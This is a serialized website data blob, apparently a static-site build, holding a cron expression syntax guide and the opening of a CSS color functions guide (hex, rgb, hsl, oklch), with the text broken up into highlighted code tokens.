more.",{"immutable":363},"\u002Fguides\u002Fcron-debugging-tips",{"title":269614,"description":270987},"guides\u002Fcron-debugging-tips","eXx6HOYy7dLdJLd5t9S2pJgA3augpLSETWP14Rn_c_Q",{"id":270994,"title":265880,"body":270995,"date":257855,"description":271247,"extension":361,"meta":271248,"navigation":363,"path":1203,"readingTime":1747,"seo":271249,"stem":271250,"__hash__":271251},"guides\u002Fguides\u002Fcron-syntax-guide.md",{"type":8,"value":270996,"toc":271237},[270997,271001,271004,271008,271014,271018,271024,271026,271097,271101,271164,271168,271230,271232],[11,270998,271000],{"id":270999},"cron-expression-format","Cron Expression Format",[16,271002,271003],{},"A cron expression consists of 5 or 6 fields separated by spaces:",[33,271005,271007],{"id":271006},"_5-field-format-standard","5-Field Format (Standard)",[135,271009,271012],{"className":271010,"code":271011,"language":140},[138],"┌──────── minute (0–59)\n│ ┌────── hour (0–23)\n│ │ ┌──── day of month (1–31)\n│ │ │ ┌── month (1–12)\n│ │ │ │ ┌ day of week (0–7, 0 and 7 = Sunday)\n│ │ │ │ │\n* * * * *\n",[143,271013,271011],{"__ignoreMap":141},[33,271015,271017],{"id":271016},"_6-field-format-with-seconds","6-Field Format (With Seconds)",[135,271019,271022],{"className":271020,"code":271021,"language":140},[138],"┌────────── second (0–59)\n│ ┌──────── minute (0–59)\n│ │ ┌────── hour (0–23)\n│ │ │ ┌──── day of month (1–31)\n│ │ │ │ ┌── month (1–12)\n│ │ │ │ │ ┌ day of week (0–7)\n│ │ │ │ │ │\n* * * * * *\n",[143,271023,271021],{"__ignoreMap":141},[11,271025,265701],{"id":265700},[193,271027,271028,271038],{},[196,271029,271030],{},[199,271031,271032,271034,271036],{},[202,271033,7809],{},[202,271035,4228],{},[202,271037,133],{},[211,271039,271040,271054,271069,271083],{},[199,271041,271042,271046,271049],{},[216,271043,271044],{},[143,271045,8069],{},[216,271047,271048],{},"Every value",[216,271050,271051,271053],{},[143,271052,265422],{}," = every minute",[199,271055,271056,271060,271063],{},[216,271057,271058],{},[143,271059,6858],{},[216,271061,271062],{},"Value list",[216,271064,271065,271068],{},[143,271066,271067],{},"1,15 * * * *"," = minute 1 and 15",[199,271070,271071,271075,271077],{},[216,271072,271073],{},[143,271074,9412],{},[216,271076,29088],{},[216,271078,271079,271082],{},[143,271080,271081],{},"1-5 * * * *"," = minutes 1 through 5",[199,271084,271085,271089,271092],{},[216,271086,271087],{},[143,271088,9423],{},[216,271090,271091],{},"Step values",[216,271093,271094,271096],{},[143,271095,265432],{}," = every 5 minutes",[11,271098,271100],{"id":271099},"common-examples","Common Examples",[193,271102,271103,271111],{},[196,271104,271105],{},[199,271106,271107,271109],{},[202,271108,1150],{},[202,271110,4228],{},[211,271112,271113,271121,271130,271138,271146,271155],{},[199,271114,271115,271119],{},[216,271116,271117],{},[143,271118,265432],{},[216,271120,265435],{},[199,271122,271123,271127],{},[216,271124,271125],{},[143,271126,265470],{},[216,271128,271129],{},"Every hour",[199,271131,271132,271136],{},[216,271133,271134],{},[143,271135,265516],{},[216,271137,265519],{},[199,271139,271140,271144],{},[216,271141,271142],{},[143,271143,265622],{},[216,271145,265625],{},[199,271147,271148,271152],{},[216,271149,271150],{},[143,271151,265642],{},[216,271153,271154],{},"First day of every month",[199,271156,271157,271161],{},[216,271158,271159],{},[143,271160,1162],{},[216,271162,271163],{},"Weekdays at 9 AM",[11,271165,271167],{"id":271166},"day-of-week-values","Day of Week Values",[193,271169,271170,271179],{},[196,271171,271172],{},[199,271173,271174,271176],{},[202,271175,1769],{},[202,271177,271178],{},"Day",[211,271180,271181,271189,271196,271203,271209,271216,271223],{},[199,271182,271183,271186],{},[216,271184,271185],{},"0 or 7",[216,271187,271188],{},"Sunday",[199,271190,271191,271193],{},[216,271192,3585],{},[216,271194,271195],{},"Monday",[199,271197,271198,271200],{},[216,271199,10099],{},[216,271201,271202],{},"Tuesday",[199,271204,271205,271207],{},[216,271206,17821],{},[216,271208,279],{},[199,271210,271211,271213],{},[216,271212,12546],{},[216,271214,271215],{},"Thursday",[199,271217,271218,271220],{},[216,271219,13431],{},[216,271221,271222],{},"Friday",[199,271224,271225,271227],{},[216,271226,44593],{},[216,271228,271229],{},"Saturday",[11,271231,286],{"id":285},[16,271233,29979,271234,271236],{},[98,271235,986],{"href":985}," to validate cron expressions and see their next execution times.",{"title":141,"searchDepth":337,"depth":337,"links":271238},[271239,271243,271244,271245,271246],{"id":270999,"depth":337,"text":271000,"children":271240},[271241,271242],{"id":271006,"depth":343,"text":271007},{"id":271016,"depth":343,"text":271017},{"id":265700,"depth":337,"text":265701},{"id":271099,"depth":337,"text":271100},{"id":271166,"depth":337,"text":271167},{"id":285,"depth":337,"text":286},"Complete guide to cron expression syntax with examples for 5-field and 6-field formats. Learn to schedule tasks like a pro.",{"immutable":363},{"title":265880,"description":271247},"guides\u002Fcron-syntax-guide","gOtyKUiJSPpw-cDyCOrjXQ1DKQLWLGHVqCtjfls81tY",{"id":271253,"title":271254,"body":271255,"date":257855,"description":273702,"extension":361,"meta":273703,"navigation":363,"path":273704,"readingTime":2534,"seo":273705,"stem":273706,"__hash__":273707},"guides\u002Fguides\u002Fcss-color-functions.md","Modern CSS Color Functions: rgb(), hsl(), oklch(), and More",{"type":8,"value":271256,"toc":273671},[271257,271261,271264,271273,271277,271281,271284,271324,271327,271345,271349,271355,271418,271423,271467,271471,271474,271579,271583,271624,271755,271759,271764,271811,271815,271837,272162,272166,272175,272262,272266,272271,272315,272319,272337,272341,272374,272577,272581,272586,272701,272703,272728,272758,272922,272924,272927,273065,273071,273077,273219,273223,273227,273326,273330,273517,273521,273553,273659,273661,273668],[11,271258,271260],{"id":271259},"the-evolution-of-css-color-syntax","The Evolution of CSS Color Syntax",[16,271262,271263],{},"CSS color handling has undergone a remarkable transformation in recent years. Gone are the days when hex codes and named colors were our only options. Today's CSS provides a rich set of color functions that offer greater precision, better readability, and more powerful color manipulation capabilities.",[16,271265,271266,271267,1856,271270,271272],{},"The evolution has moved from the limited ",[143,271268,271269],{},"color: red;",[143,271271,14644],{}," syntax toward modern functions that separate hue, saturation, and lightness in intuitive ways. This progression isn't just about adding features—it's about making color in CSS more predictable, accessible, and powerful.",[11,271274,271276],{"id":271275},"legacy-syntax-hex-and-rgb","Legacy Syntax: hex and rgb()",[33,271278,271280],{"id":271279},"hexadecimal-colors","Hexadecimal Colors",[16,271282,271283],{},"Hex codes have been the backbone of web colors for decades:",[135,271285,271287],{"className":1554,"code":271286,"language":1556,"meta":141,"style":141},".hero {\n  background-color: #3B82F6; \u002F* Blue *\u002F\n  color: #FFFFFF; \u002F* White *\u002F\n}\n",[143,271288,271289,271295,271307,271320],{"__ignoreMap":141},[1560,271290,271291,271293],{"class":1562,"line":1563},[1560,271292,32789],{"class":1566},[1560,271294,1571],{"class":1570},[1560,271296,271297,271299,271301,271303,271305],{"class":1562,"line":337},[1560,271298,2492],{"class":1576},[1560,271300,1663],{"class":1570},[1560,271302,2260],{"class":1576},[1560,271304,3664],{"class":1570},[1560,271306,264496],{"class":1649},[1560,271308,271309,271311,271313,271315,271317],{"class":1562,"line":343},[1560,271310,2510],{"class":1576},[1560,271312,1663],{"class":1570},[1560,271314,3390],{"class":1576},[1560,271316,3664],{"class":1570},[1560,271318,271319],{"class":1649},"\u002F* White *\u002F\n",[1560,271321,271322],{"class":1562,"line":365},[1560,271323,1585],{"class":1570},[16,271325,271326],{},"Hex notation represents colors using three pairs of hexadecimal digits (00-FF) for red, green, and blue. While compact, hex has significant drawbacks:",[41,271328,271329,271336,271339],{},[44,271330,271331,271332,271335],{},"Difficult to intuitively understand what color ",[143,271333,271334],{},"#E879F0"," represents",[44,271337,271338],{},"No built-in way to adjust lightness or saturation",[44,271340,271341,271342,271344],{},"No alpha\u002Ftransparency support without the ",[143,271343,5184],{}," extension (which has poor browser support)",[33,271346,271348],{"id":271347},"the-old-rgb-function","The Old rgb() Function",[16,271350,271351,271352,271354],{},"The traditional ",[143,271353,28868],{}," function required comma-separated values:",[135,271356,271358],{"className":1554,"code":271357,"language":1556,"meta":141,"style":141},".button {\n  background-color: rgb(59, 130, 246); \u002F* Blue *\u002F\n  color: rgb(255, 255, 255); \u002F* White *\u002F\n}\n",[143,271359,271360,271366,271390,271414],{"__ignoreMap":141},[1560,271361,271362,271364],{"class":1562,"line":1563},[1560,271363,5741],{"class":1566},[1560,271365,1571],{"class":1570},[1560,271367,271368,271370,271372,271374,271376,271378,271380,271382,271384,271386,271388],{"class":1562,"line":337},[1560,271369,2492],{"class":1576},[1560,271371,1663],{"class":1570},[1560,271373,30141],{"class":1576},[1560,271375,1688],{"class":1570},[1560,271377,19995],{"class":1576},[1560,271379,1459],{"class":1570},[1560,271381,20000],{"class":1576},[1560,271383,1459],{"class":1570},[1560,271385,20005],{"class":1576},[1560,271387,5171],{"class":1570},[1560,271389,264496],{"class":1649},[1560,271391,271392,271394,271396,271398,271400,271402,271404,271406,271408,271410,271412],{"class":1562,"line":343},[1560,271393,2510],{"class":1576},[1560,271395,1663],{"class":1570},[1560,271397,30141],{"class":1576},[1560,271399,1688],{"class":1570},[1560,271401,5400],{"class":1576},[1560,271403,1459],{"class":1570},[1560,271405,5400],{"class":1576},[1560,271407,1459],{"class":1570},[1560,271409,5400],{"class":1576},[1560,271411,5171],{"class":1570},[1560,271413,271319],{"class":1649},[1560,271415,271416],{"class":1562,"line":365},[1560,271417,1585],{"class":1570},[16,271419,271420,271421,8037],{},"With alpha transparency, you'd use ",[143,271422,5140],{},[135,271424,271426],{"className":1554,"code":271425,"language":1556,"meta":141,"style":141},".overlay {\n  background-color: rgba(0, 0, 0, 0.5); \u002F* Semi-transparent black *\u002F\n}\n",[143,271427,271428,271434,271463],{"__ignoreMap":141},[1560,271429,271430,271432],{"class":1562,"line":1563},[1560,271431,5707],{"class":1566},[1560,271433,1571],{"class":1570},[1560,271435,271436,271438,271440,271442,271444,271446,271448,271450,271452,271454,271456,271458,271460],{"class":1562,"line":337},[1560,271437,2492],{"class":1576},[1560,271439,1663],{"class":1570},[1560,271441,5670],{"class":1576},[1560,271443,1688],{"class":1570},[1560,271445,5285],{"class":1576},[1560,271447,1459],{"class":1570},[1560,271449,5285],{"class":1576},[1560,271451,1459],{"class":1570},[1560,271453,5285],{"class":1576},[1560,271455,1459],{"class":1570},[1560,271457,5687],{"class":1576},[1560,271459,5171],{"class":1570},[1560,271461,271462],{"class":1649},"\u002F* Semi-transparent black *\u002F\n",[1560,271464,271465],{"class":1562,"line":343},[1560,271466,1585],{"class":1570},[11,271468,271470],{"id":271469},"modern-rgb-and-rgba-syntax","Modern rgb() and rgba() Syntax",[16,271472,271473],{},"CSS Color Level 4 introduced a space-separated syntax that's more consistent with other color functions:",[135,271475,271477],{"className":1554,"code":271476,"language":1556,"meta":141,"style":141},".modern-rgb {\n  background-color: rgb(59 130 246); \u002F* No commas! *\u002F\n  color: rgb(255 255 255 \u002F 0.9); \u002F* Alpha with slash syntax *\u002F\n}\n\n.modern-rgba {\n  background-color: rgba(59 130 246 \u002F 50%); \u002F* Percentage alpha *\u002F\n}\n",[143,271478,271479,271486,271507,271533,271537,271541,271548,271575],{"__ignoreMap":141},[1560,271480,271481,271484],{"class":1562,"line":1563},[1560,271482,271483],{"class":1566},".modern-rgb",[1560,271485,1571],{"class":1570},[1560,271487,271488,271490,271492,271494,271496,271498,271500,271502,271504],{"class":1562,"line":337},[1560,271489,2492],{"class":1576},[1560,271491,1663],{"class":1570},[1560,271493,30141],{"class":1576},[1560,271495,1688],{"class":1570},[1560,271497,19995],{"class":1576},[1560,271499,30148],{"class":1576},[1560,271501,30151],{"class":1576},[1560,271503,5171],{"class":1570},[1560,271505,271506],{"class":1649},"\u002F* No commas! *\u002F\n",[1560,271508,271509,271511,271513,271515,271517,271519,271522,271524,271526,271528,271530],{"class":1562,"line":343},[1560,271510,2510],{"class":1576},[1560,271512,1663],{"class":1570},[1560,271514,30141],{"class":1576},[1560,271516,1688],{"class":1570},[1560,271518,5400],{"class":1576},[1560,271520,271521],{"class":1576}," 255",[1560,271523,271521],{"class":1576},[1560,271525,14237],{"class":1570},[1560,271527,79476],{"class":1576},[1560,271529,5171],{"class":1570},[1560,271531,271532],{"class":1649},"\u002F* Alpha with slash syntax *\u002F\n",[1560,271534,271535],{"class":1562,"line":365},[1560,271536,1585],{"class":1570},[1560,271538,271539],{"class":1562,"line":889},[1560,271540,1702],{"emptyLinePlaceholder":363},[1560,271542,271543,271546],{"class":1562,"line":1710},[1560,271544,271545],{"class":1566},".modern-rgba",[1560,271547,1571],{"class":1570},[1560,271549,271550,271552,271554,271556,271558,271560,271562,271564,271566,271568,271570,271572],{"class":1562,"line":1717},[1560,271551,2492],{"class":1576},[1560,271553,1663],{"class":1570},[1560,271555,5670],{"class":1576},[1560,271557,1688],{"class":1570},[1560,271559,19995],{"class":1576},[1560,271561,30148],{"class":1576},[1560,271563,30151],{"class":1576},[1560,271565,14237],{"class":1570},[1560,271567,18059],{"class":1576},[1560,271569,17990],{"class":1669},[1560,271571,5171],{"class":1570},[1560,271573,271574],{"class":1649},"\u002F* Percentage alpha *\u002F\n",[1560,271576,271577],{"class":1562,"line":1747},[1560,271578,1585],{"class":1570},[33,271580,271582],{"id":271581},"key-improvements","Key Improvements",[77,271584,271585,271595,271606,271615],{},[44,271586,271587,1663,271590,55616,271593],{},[47,271588,271589],{},"Space separation",[143,271591,271592],{},"rgb(59 130 246)",[143,271594,55007],{},[44,271596,271597,1663,271600,271603,271604],{},[47,271598,271599],{},"Slash for alpha",[143,271601,271602],{},"rgb(255 255 255 \u002F 0.5)"," instead of needing ",[143,271605,5140],{},[44,271607,271608,1663,271611,271614],{},[47,271609,271610],{},"Percentage values",[143,271612,271613],{},"rgb(50% 50% 100%)"," is now valid",[44,271616,271617,1663,271620,271623],{},[47,271618,271619],{},"None keyword",[143,271621,271622],{},"rgb(none none none)"," for intentionally missing components",[135,271625,271627],{"className":1554,"code":271626,"language":1556,"meta":141,"style":141},"\u002F* All these are now valid *\u002F\n.valid-examples {\n  color: rgb(255 0 0);\n  color: rgb(100% 0% 0%);\n  color: rgb(255 0 0 \u002F 0.5);\n  color: rgb(255 0 0 \u002F 50%);\n  color: rgb(none none none); \u002F* Resets to default *\u002F\n}\n",[143,271628,271629,271634,271641,271659,271683,271705,271729,271751],{"__ignoreMap":141},[1560,271630,271631],{"class":1562,"line":1563},[1560,271632,271633],{"class":1649},"\u002F* All these are now valid *\u002F\n",[1560,271635,271636,271639],{"class":1562,"line":337},[1560,271637,271638],{"class":1566},".valid-examples",[1560,271640,1571],{"class":1570},[1560,271642,271643,271645,271647,271649,271651,271653,271655,271657],{"class":1562,"line":343},[1560,271644,2510],{"class":1576},[1560,271646,1663],{"class":1570},[1560,271648,30141],{"class":1576},[1560,271650,1688],{"class":1570},[1560,271652,5400],{"class":1576},[1560,271654,13541],{"class":1576},[1560,271656,13541],{"class":1576},[1560,271658,1744],{"class":1570},[1560,271660,271661,271663,271665,271667,271669,271671,271673,271675,271677,271679,271681],{"class":1562,"line":365},[1560,271662,2510],{"class":1576},[1560,271664,1663],{"class":1570},[1560,271666,30141],{"class":1576},[1560,271668,1688],{"class":1570},[1560,271670,18114],{"class":1576},[1560,271672,17990],{"class":1669},[1560,271674,13541],{"class":1576},[1560,271676,17990],{"class":1669},[1560,271678,13541],{"class":1576},[1560,271680,17990],{"class":1669},[1560,271682,1744],{"class":1570},[1560,271684,271685,271687,271689,271691,271693,271695,271697,271699,271701,271703],{"class":1562,"line":889},[1560,271686,2510],{"class":1576},[1560,271688,1663],{"class":1570},[1560,271690,30141],{"class":1576},[1560,271692,1688],{"class":1570},[1560,271694,5400],{"class":1576},[1560,271696,13541],{"class":1576},[1560,271698,13541],{"class":1576},[1560,271700,14237],{"class":1570},[1560,271702,5687],{"class":1576},[1560,271704,1744],{"class":1570},[1560,271706,271707,271709,271711,271713,271715,271717,271719,271721,271723,271725,271727],{"class":1562,"line":1710},[1560,271708,2510],{"class":1576},[1560,271710,1663],{"class":1570},[1560,271712,30141],{"class":1576},[1560,271714,1688],{"class":1570},[1560,271716,5400],{"class":1576},[1560,271718,13541],{"class":1576},[1560,271720,13541],{"class":1576},[1560,271722,14237],{"class":1570},[1560,271724,18059],{"class":1576},[1560,271726,17990],{"class":1669},[1560,271728,1744],{"class":1570},[1560,271730,271731,271733,271735,271737,271739,271741,271744,271746,271748],{"class":1562,"line":1717},[1560,271732,2510],{"class":1576},[1560,271734,1663],{"class":1570},[1560,271736,30141],{"class":1576},[1560,271738,1688],{"class":1570},[1560,271740,24609],{"class":1576},[1560,271742,271743],{"class":1576}," none",[1560,271745,271743],{"class":1576},[1560,271747,5171],{"class":1570},[1560,271749,271750],{"class":1649},"\u002F* Resets to default *\u002F\n",[1560,271752,271753],{"class":1562,"line":1747},[1560,271754,1585],{"class":1570},[11,271756,271758],{"id":271757},"hsl-hue-saturation-lightness","hsl(): Hue, Saturation, Lightness",[16,271760,421,271761,271763],{},[143,271762,31383],{}," function represents colors using a cylindrical coordinate system that aligns better with human perception:",[135,271765,271767],{"className":1554,"code":271766,"language":1556,"meta":141,"style":141},".hsl-example {\n  \u002F* hsl(hue saturation lightness) *\u002F\n  background-color: hsl(217 91% 60%); \u002F* Same blue as before *\u002F\n}\n",[143,271768,271769,271776,271781,271807],{"__ignoreMap":141},[1560,271770,271771,271774],{"class":1562,"line":1563},[1560,271772,271773],{"class":1566},".hsl-example",[1560,271775,1571],{"class":1570},[1560,271777,271778],{"class":1562,"line":337},[1560,271779,271780],{"class":1649},"  \u002F* hsl(hue saturation lightness) *\u002F\n",[1560,271782,271783,271785,271787,271789,271791,271794,271796,271798,271800,271802,271804],{"class":1562,"line":343},[1560,271784,2492],{"class":1576},[1560,271786,1663],{"class":1570},[1560,271788,50903],{"class":1576},[1560,271790,1688],{"class":1570},[1560,271792,271793],{"class":1576},"217",[1560,271795,36013],{"class":1576},[1560,271797,17990],{"class":1669},[1560,271799,18338],{"class":1576},[1560,271801,17990],{"class":1669},[1560,271803,5171],{"class":1570},[1560,271805,271806],{"class":1649},"\u002F* Same blue as before *\u002F\n",[1560,271808,271809],{"class":1562,"line":365},[1560,271810,1585],{"class":1570},[33,271812,271814],{"id":271813},"understanding-hsl-components","Understanding HSL Components",[41,271816,271817,271827,271832],{},[44,271818,271819,271821,271822],{},[47,271820,29099],{}," (0-360): The color type, measured in degrees on the color wheel\n",[41,271823,271824],{},[44,271825,271826],{},"0° = Red, 120° = Green, 240° = Blue",[44,271828,271829,271831],{},[47,271830,29112],{}," (0-100%): Color intensity (0% = gray, 100% = vivid)",[44,271833,271834,271836],{},[47,271835,29125],{}," (0-100%): Brightness (0% = black, 50% = normal, 100% = white)",[135,271838,271840],{"className":1554,"code":271839,"language":1556,"meta":141,"style":141},".color-palette {\n  --primary-hue: 217;\n  \n  --primary-50: hsl(var(--primary-hue) 91% 95%);\n  --primary-100: hsl(var(--primary-hue) 91% 90%);\n  --primary-200: hsl(var(--primary-hue) 91% 80%);\n  --primary-300: hsl(var(--primary-hue) 91% 70%);\n  --primary-400: hsl(var(--primary-hue) 91% 60%);\n  --primary-500: hsl(var(--primary-hue) 91% 50%);\n  --primary-600: hsl(var(--primary-hue) 91% 40%);\n  --primary-700: hsl(var(--primary-hue) 91% 30%);\n  --primary-800: hsl(var(--primary-hue) 91% 20%);\n  --primary-900: hsl(var(--primary-hue) 91% 10%);\n}\n",[143,271841,271842,271849,271860,271865,271896,271926,271955,271984,272013,272042,272071,272100,272129,272158],{"__ignoreMap":141},[1560,271843,271844,271847],{"class":1562,"line":1563},[1560,271845,271846],{"class":1566},".color-palette",[1560,271848,1571],{"class":1570},[1560,271850,271851,271854,271856,271858],{"class":1562,"line":337},[1560,271852,271853],{"class":2219},"  --primary-hue",[1560,271855,1663],{"class":1570},[1560,271857,271793],{"class":1576},[1560,271859,2228],{"class":1570},[1560,271861,271862],{"class":1562,"line":343},[1560,271863,271864],{"class":1570},"  \n",[1560,271866,271867,271870,271872,271874,271876,271878,271880,271883,271885,271887,271889,271892,271894],{"class":1562,"line":365},[1560,271868,271869],{"class":2219},"  --primary-50",[1560,271871,1663],{"class":1570},[1560,271873,50903],{"class":1576},[1560,271875,1688],{"class":1570},[1560,271877,2497],{"class":1576},[1560,271879,1688],{"class":1570},[1560,271881,271882],{"class":2219},"--primary-hue",[1560,271884,1733],{"class":1570},[1560,271886,247012],{"class":1576},[1560,271888,17990],{"class":1669},[1560,271890,271891],{"class":1576}," 95",[1560,271893,17990],{"class":1669},[1560,271895,1744],{"class":1570},[1560,271897,271898,271901,271903,271905,271907,271909,271911,271913,271915,271917,271919,271922,271924],{"class":1562,"line":889},[1560,271899,271900],{"class":2219},"  --primary-100",[1560,271902,1663],{"class":1570},[1560,271904,50903],{"class":1576},[1560,271906,1688],{"class":1570},[1560,271908,2497],{"class":1576},[1560,271910,1688],{"class":1570},[1560,271912,271882],{"class":2219},[1560,271914,1733],{"class":1570},[1560,271916,247012],{"class":1576},[1560,271918,17990],{"class":1669},[1560,271920,271921],{"class":1576}," 90",[1560,271923,17990],{"class":1669},[1560,271925,1744],{"class":1570},[1560,271927,271928,271931,271933,271935,271937,271939,271941,271943,271945,271947,271949,271951,271953],{"class":1562,"line":1710},[1560,271929,271930],{"class":2219},"  --primary-200",[1560,271932,1663],{"class":1570},[1560,271934,50903],{"class":1576},[1560,271936,1688],{"class":1570},[1560,271938,2497],{"class":1576},[1560,271940,1688],{"class":1570},[1560,271942,271882],{"class":2219},[1560,271944,1733],{"class":1570},[1560,271946,247012],{"class":1576},[1560,271948,17990],{"class":1669},[1560,271950,9342],{"class":1576},[1560,271952,17990],{"class":1669},[1560,271954,1744],{"class":1570},[1560,271956,271957,271960,271962,271964,271966,271968,271970,271972,271974,271976,271978,271980,271982],{"class":1562,"line":1717},[1560,271958,271959],{"class":2219},"  --primary-300",[1560,271961,1663],{"class":1570},[1560,271963,50903],{"class":1576},[1560,271965,1688],{"class":1570},[1560,271967,2497],{"class":1576},[1560,271969,1688],{"class":1570},[1560,271971,271882],{"class":2219},[1560,271973,1733],{"class":1570},[1560,271975,247012],{"class":1576},[1560,271977,17990],{"class":1669},[1560,271979,35515],{"class":1576},[1560,271981,17990],{"class":1669},[1560,271983,1744],{"class":1570},[1560,271985,271986,271989,271991,271993,271995,271997,271999,272001,272003,272005,272007,272009,272011],{"class":1562,"line":1747},[1560,271987,271988],{"class":2219},"  --primary-400",[1560,271990,1663],{"class":1570},[1560,271992,50903],{"class":1576},[1560,271994,1688],{"class":1570},[1560,271996,2497],{"class":1576},[1560,271998,1688],{"class":1570},[1560,272000,271882],{"class":2219},[1560,272002,1733],{"class":1570},[1560,272004,247012],{"class":1576},[1560,272006,17990],{"class":1669},[1560,272008,18338],{"class":1576},[1560,272010,17990],{"class":1669},[1560,272012,1744],{"class":1570},[1560,272014,272015,272018,272020,272022,272024,272026,272028,272030,272032,272034,272036,272038,272040],{"class":1562,"line":2507},[1560,272016,272017],{"class":2219},"  --primary-500",[1560,272019,1663],{"class":1570},[1560,272021,50903],{"class":1576},[1560,272023,1688],{"class":1570},[1560,272025,2497],{"class":1576},[1560,272027,1688],{"class":1570},[1560,272029,271882],{"class":2219},[1560,272031,1733],{"class":1570},[1560,272033,247012],{"class":1576},[1560,272035,17990],{"class":1669},[1560,272037,18318],{"class":1576},[1560,272039,17990],{"class":1669},[1560,272041,1744],{"class":1570},[1560,272043,272044,272047,272049,272051,272053,272055,272057,272059,272061,272063,272065,272067,272069],{"class":1562,"line":2524},[1560,272045,272046],{"class":2219},"  --primary-600",[1560,272048,1663],{"class":1570},[1560,272050,50903],{"class":1576},[1560,272052,1688],{"class":1570},[1560,272054,2497],{"class":1576},[1560,272056,1688],{"class":1570},[1560,272058,271882],{"class":2219},[1560,272060,1733],{"class":1570},[1560,272062,247012],{"class":1576},[1560,272064,17990],{"class":1669},[1560,272066,18343],{"class":1576},[1560,272068,17990],{"class":1669},[1560,272070,1744],{"class":1570},[1560,272072,272073,272076,272078,272080,272082,272084,272086,272088,272090,272092,272094,272096,272098],{"class":1562,"line":2529},[1560,272074,272075],{"class":2219},"  --primary-700",[1560,272077,1663],{"class":1570},[1560,272079,50903],{"class":1576},[1560,272081,1688],{"class":1570},[1560,272083,2497],{"class":1576},[1560,272085,1688],{"class":1570},[1560,272087,271882],{"class":2219},[1560,272089,1733],{"class":1570},[1560,272091,247012],{"class":1576},[1560,272093,17990],{"class":1669},[1560,272095,35504],{"class":1576},[1560,272097,17990],{"class":1669},[1560,272099,1744],{"class":1570},[1560,272101,272102,272105,272107,272109,272111,272113,272115,272117,272119,272121,272123,272125,272127],{"class":1562,"line":2534},[1560,272103,272104],{"class":2219},"  --primary-800",[1560,272106,1663],{"class":1570},[1560,272108,50903],{"class":1576},[1560,272110,1688],{"class":1570},[1560,272112,2497],{"class":1576},[1560,272114,1688],{"class":1570},[1560,272116,271882],{"class":2219},[1560,272118,1733],{"class":1570},[1560,272120,247012],{"class":1576},[1560,272122,17990],{"class":1669},[1560,272124,45999],{"class":1576},[1560,272126,17990],{"class":1669},[1560,272128,1744],{"class":1570},[1560,272130,272131,272134,272136,272138,272140,272142,272144,272146,272148,272150,272152,272154,272156],{"class":1562,"line":2542},[1560,272132,272133],{"class":2219},"  --primary-900",[1560,272135,1663],{"class":1570},[1560,272137,50903],{"class":1576},[1560,272139,1688],{"class":1570},[1560,272141,2497],{"class":1576},[1560,272143,1688],{"class":1570},[1560,272145,271882],{"class":2219},[1560,272147,1733],{"class":1570},[1560,272149,247012],{"class":1576},[1560,272151,17990],{"class":1669},[1560,272153,43241],{"class":1576},[1560,272155,17990],{"class":1669},[1560,272157,1744],{"class":1570},[1560,272159,272160],{"class":1562,"line":2558},[1560,272161,1585],{"class":1570},[33,272163,272165],{"id":272164},"modern-hsl-syntax","Modern hsl() Syntax",[16,272167,272168,272169,272171,272172,272174],{},"Like ",[143,272170,28868],{},", modern ",[143,272173,31383],{}," uses space separation:",[135,272176,272178],{"className":1554,"code":272177,"language":1556,"meta":141,"style":141},".modern-hsl {\n  color: hsl(217 91% 60%);\n  color: hsl(217 91% 60% \u002F 0.8); \u002F* With alpha *\u002F\n  color: hsl(none none none); \u002F* Reset *\u002F\n}\n",[143,272179,272180,272187,272209,272237,272258],{"__ignoreMap":141},[1560,272181,272182,272185],{"class":1562,"line":1563},[1560,272183,272184],{"class":1566},".modern-hsl",[1560,272186,1571],{"class":1570},[1560,272188,272189,272191,272193,272195,272197,272199,272201,272203,272205,272207],{"class":1562,"line":337},[1560,272190,2510],{"class":1576},[1560,272192,1663],{"class":1570},[1560,272194,50903],{"class":1576},[1560,272196,1688],{"class":1570},[1560,272198,271793],{"class":1576},[1560,272200,36013],{"class":1576},[1560,272202,17990],{"class":1669},[1560,272204,18338],{"class":1576},[1560,272206,17990],{"class":1669},[1560,272208,1744],{"class":1570},[1560,272210,272211,272213,272215,272217,272219,272221,272223,272225,272227,272229,272231,272233,272235],{"class":1562,"line":343},[1560,272212,2510],{"class":1576},[1560,272214,1663],{"class":1570},[1560,272216,50903],{"class":1576},[1560,272218,1688],{"class":1570},[1560,272220,271793],{"class":1576},[1560,272222,36013],{"class":1576},[1560,272224,17990],{"class":1669},[1560,272226,18338],{"class":1576},[1560,272228,17990],{"class":1669},[1560,272230,14237],{"class":1570},[1560,272232,36308],{"class":1576},[1560,272234,5171],{"class":1570},[1560,272236,29166],{"class":1649},[1560,272238,272239,272241,272243,272245,272247,272249,272251,272253,272255],{"class":1562,"line":365},[1560,272240,2510],{"class":1576},[1560,272242,1663],{"class":1570},[1560,272244,50903],{"class":1576},[1560,272246,1688],{"class":1570},[1560,272248,24609],{"class":1576},[1560,272250,271743],{"class":1576},[1560,272252,271743],{"class":1576},[1560,272254,5171],{"class":1570},[1560,272256,272257],{"class":1649},"\u002F* Reset *\u002F\n",[1560,272259,272260],{"class":1562,"line":889},[1560,272261,1585],{"class":1570},[11,272263,272265],{"id":272264},"oklch-the-perceptually-uniform-revolution","oklch(): The Perceptually Uniform Revolution",[16,272267,272268,272270],{},[143,272269,51040],{}," is the newest and most scientifically advanced CSS color function. It uses the Oklab color space, which is perceptually uniform—meaning equal numerical changes produce equal perceived color differences.",[135,272272,272274],{"className":1554,"code":272273,"language":1556,"meta":141,"style":141},".oklch-example {\n  \u002F* oklch(lightness chroma hue) *\u002F\n  background-color: oklch(60% 0.2 264); \u002F* Perceptually pleasing blue *\u002F\n}\n",[143,272275,272276,272283,272288,272311],{"__ignoreMap":141},[1560,272277,272278,272281],{"class":1562,"line":1563},[1560,272279,272280],{"class":1566},".oklch-example",[1560,272282,1571],{"class":1570},[1560,272284,272285],{"class":1562,"line":337},[1560,272286,272287],{"class":1649},"  \u002F* oklch(lightness chroma hue) *\u002F\n",[1560,272289,272290,272292,272294,272296,272298,272300,272302,272304,272306,272308],{"class":1562,"line":343},[1560,272291,2492],{"class":1576},[1560,272293,1663],{"class":1570},[1560,272295,30410],{"class":1576},[1560,272297,1688],{"class":1570},[1560,272299,18333],{"class":1576},[1560,272301,17990],{"class":1669},[1560,272303,30419],{"class":1576},[1560,272305,30422],{"class":1576},[1560,272307,5171],{"class":1570},[1560,272309,272310],{"class":1649},"\u002F* Perceptually pleasing blue *\u002F\n",[1560,272312,272313],{"class":1562,"line":365},[1560,272314,1585],{"class":1570},[33,272316,272318],{"id":272317},"components-of-oklch","Components of oklch()",[41,272320,272321,272326,272332],{},[44,272322,272323,272325],{},[47,272324,29125],{}," (0-100%): Perceptually uniform lightness (0% = black, 50% = middle gray, 100% = white)",[44,272327,272328,272331],{},[47,272329,272330],{},"Chroma"," (0-0.4+): 